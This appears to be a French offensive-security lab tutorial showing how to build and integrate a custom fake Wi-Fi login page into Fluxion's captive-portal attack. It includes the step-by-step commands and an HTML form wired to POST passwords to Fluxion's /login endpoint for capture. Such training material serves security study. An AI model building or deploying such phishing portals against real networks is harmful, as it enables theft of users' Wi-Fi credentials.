Introduction
Fluxion est un puissant outil de recherche en sécurité et en ingénierie sociale. L'une de ses fonctionnalités les plus connues est l'attaque par portail captif, qui crée un faux point d'accès Wi-Fi et une page de connexion pour capturer les identifiants. Bien que Fluxion soit livré avec plusieurs pages de connexion pré-construites, la création d'une page personnalisée peut rendre vos tentatives d'ingénierie sociale beaucoup plus convaincantes et adaptées à une cible spécifique.
Dans ce laboratoire, vous apprendrez le processus étape par étape pour créer votre propre page de connexion HTML personnalisée et l'intégrer dans Fluxion. Vous naviguerez dans la structure des répertoires de Fluxion, créerez un nouveau site, rédigerez un formulaire de connexion HTML de base et vous assurerez qu'il communique correctement avec le backend de Fluxion.
Naviguer vers 'attacks/Captive Portal/sites'
Dans cette étape, vous allez naviguer vers le répertoire où Fluxion stocke ses modèles de portail captif. Comprendre cette structure de répertoire est la première étape pour ajouter votre propre page personnalisée. Toutes les opérations commenceront à partir du répertoire ~/project.
Tout d'abord, entrons dans le répertoire fluxion qui a été cloné pour vous lors du processus de configuration.
cd ~/project/fluxion
Maintenant, naviguez plus profondément dans la structure des répertoires pour trouver les sites de portail captif.
cd attacks/Captive\ Portal/sites/
Notez l'utilisation d'une barre oblique inverse \ pour échapper l'espace dans le nom du répertoire Captive Portal.
Enfin, listez le contenu de ce répertoire pour voir les modèles de portail existants. Cela vous donnera une idée de leur organisation.
ls -l
Vous devriez voir une liste de répertoires, chacun représentant un modèle de page de connexion différent.
total 80
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 ASUS_dark_desktop
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 Brand_Generic_Alternative_Login_EN
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 Brand_Generic_Login_EN
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 D-Link_EN
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 Linksys_EN
... (et bien d'autres)
Vous êtes maintenant au bon endroit pour créer votre propre portail.
Créer un nouveau répertoire pour votre portail personnalisé
Dans cette étape, vous allez créer un répertoire dédié à votre nouveau portail personnalisé. Fluxion identifie les portails disponibles en analysant les répertoires présents dans le dossier sites. Chaque répertoire doit contenir un fichier index.html pour être reconnu comme un portail valide.
Depuis votre emplacement actuel (~/project/fluxion/attacks/Captive Portal/sites/), utilisez la commande mkdir pour créer un nouveau répertoire. Nommons-le MyCustomPortal.
mkdir MyCustomPortal
Après avoir créé le répertoire, vous pouvez vérifier son existence en listant à nouveau le contenu du répertoire sites.
ls
Vous devriez voir MyCustomPortal parmi les autres répertoires de portail.
ASUS_dark_desktop
Brand_Generic_Alternative_Login_EN
Brand_Generic_Login_EN
...
MyCustomPortal
...
Ce nouveau répertoire contiendra tous les fichiers de votre page de connexion personnalisée, en commençant par le fichier principal index.html.
Créer un fichier 'index.html' avec un formulaire de connexion
Dans cette étape, vous allez créer le fichier principal de votre portail : index.html. Ce fichier contiendra la structure HTML d'un formulaire de connexion simple qui sera présenté à l'utilisateur.
Tout d'abord, naviguez dans votre répertoire nouvellement créé.
cd MyCustomPortal
Maintenant, utilisez l'éditeur de texte nano pour créer et éditer le fichier index.html.
nano index.html
Dans l'éditeur nano, collez le code HTML de base suivant. Ce code crée une page simple avec un titre, un en-tête et un formulaire avec un champ mot de passe et un bouton de soumission.
<!DOCTYPE html>
<html>
<head>
<title>Network Login</title>
</head>
<body>
<h1>Please log in to continue</h1>
<form>
<p>Password:</p>
<input type="password" name="pass" />
<br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
Après avoir collé le code, enregistrez le fichier et quittez nano en appuyant sur Ctrl+X, puis Y, et enfin Entrée.
Vous avez maintenant créé la partie visuelle de votre page de connexion. Dans la prochaine étape, vous la configurerez pour envoyer correctement les données capturées à Fluxion.
S'assurer que le formulaire POST vers '/login'
Dans cette étape, vous allez modifier le formulaire HTML pour vous assurer qu'il communique correctement avec le backend de Fluxion. Pour que Fluxion intercepte les identifiants, le formulaire doit soumettre ses données à un chemin spécifique (/login) en utilisant une méthode spécifique (POST).
Ouvrez à nouveau le fichier index.html avec nano.
nano index.html
Localisez la balise <form>. Vous devez y ajouter deux attributs : method="POST" et action="/login". L'attribut method="POST" indique au navigateur d'envoyer les données du formulaire dans le corps de la requête HTTP, et action="/login" spécifie le point de terminaison auquel les données doivent être envoyées. Le serveur web de Fluxion écoute sur ce point de terminaison pour capturer les identifiants.
Modifiez votre fichier index.html pour qu'il ressemble à ceci :
<!DOCTYPE html>
<html>
<head>
<title>Network Login</title>
</head>
<body>
<h1>Please log in to continue</h1>
<form method="POST" action="/login">
<p>Password:</p>
<input type="password" name="pass" />
<br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
Notez les modifications apportées à la balise <form>. L'attribut name="pass" sur le champ de saisie est également important, car c'est la clé que Fluxion utilise pour identifier le mot de passe soumis.
Enregistrez le fichier et quittez nano (Ctrl+X, Y, Entrée). Votre portail personnalisé est maintenant fonctionnellement terminé et prêt à être utilisé par Fluxion.
Relancer Fluxion et sélectionner votre portail personnalisé
Dans cette dernière étape, vous allez lancer Fluxion pour confirmer qu'il reconnaît votre nouveau portail personnalisé.
Tout d'abord, retournez dans le répertoire principal de fluxion.
cd ~/project/fluxion
Maintenant, exécutez le script principal de Fluxion avec les privilèges sudo. Des droits administratifs sont requis pour les opérations réseau.
sudo ./fluxion.sh
Lors de la première exécution, Fluxion peut effectuer une vérification des dépendances. S'il vous demande d'installer des outils manquants, appuyez sur Entrée pour continuer. Une fois les vérifications terminées, le menu principal vous sera présenté.
- Sélectionnez votre langue (par exemple, entrez
1pour l'anglais). - Dans le menu des attaques, choisissez
Captive Portal.
Fluxion scannera alors le répertoire attacks/Captive Portal/sites/ et vous présentera une liste des portails disponibles. Faites défiler cette liste, et vous devriez voir votre MyCustomPortal parmi les options.
Vous pouvez le sélectionner pour confirmer qu'il fonctionne. Comme il s'agit d'un environnement virtuel sans carte sans fil physique, vous ne pouvez pas réaliser l'attaque, mais voir votre portail dans la liste confirme que vous l'avez intégré avec succès.
Vous pouvez quitter Fluxion à tout moment en appuyant sur Ctrl+C.
Résumé
Félicitations ! Vous avez créé et intégré avec succès une page de connexion HTML personnalisée dans Fluxion.
Dans ce laboratoire, vous avez appris à :
- Naviguer dans la structure de répertoires interne de Fluxion pour localiser les sites de portail captif.
- Créer un nouveau répertoire pour héberger vos fichiers de portail personnalisés.
- Écrire un fichier
index.htmlde base contenant un formulaire de connexion. - Configurer de manière critique le formulaire pour envoyer (
POST) des données au point de terminaison/login, permettant à Fluxion de capturer les identifiants. - Lancer Fluxion et vérifier que votre portail personnalisé est reconnu et disponible pour une utilisation dans une attaque de portail captif.
Cette compétence vous permet de créer des pages de connexion beaucoup plus ciblées et crédibles pour vos évaluations de sécurité, augmentant ainsi considérablement l'efficacité potentielle de vos engagements d'ingénierie sociale. Vous pouvez améliorer davantage vos pages en ajoutant du CSS pour le style et du JavaScript pour le contenu dynamique.
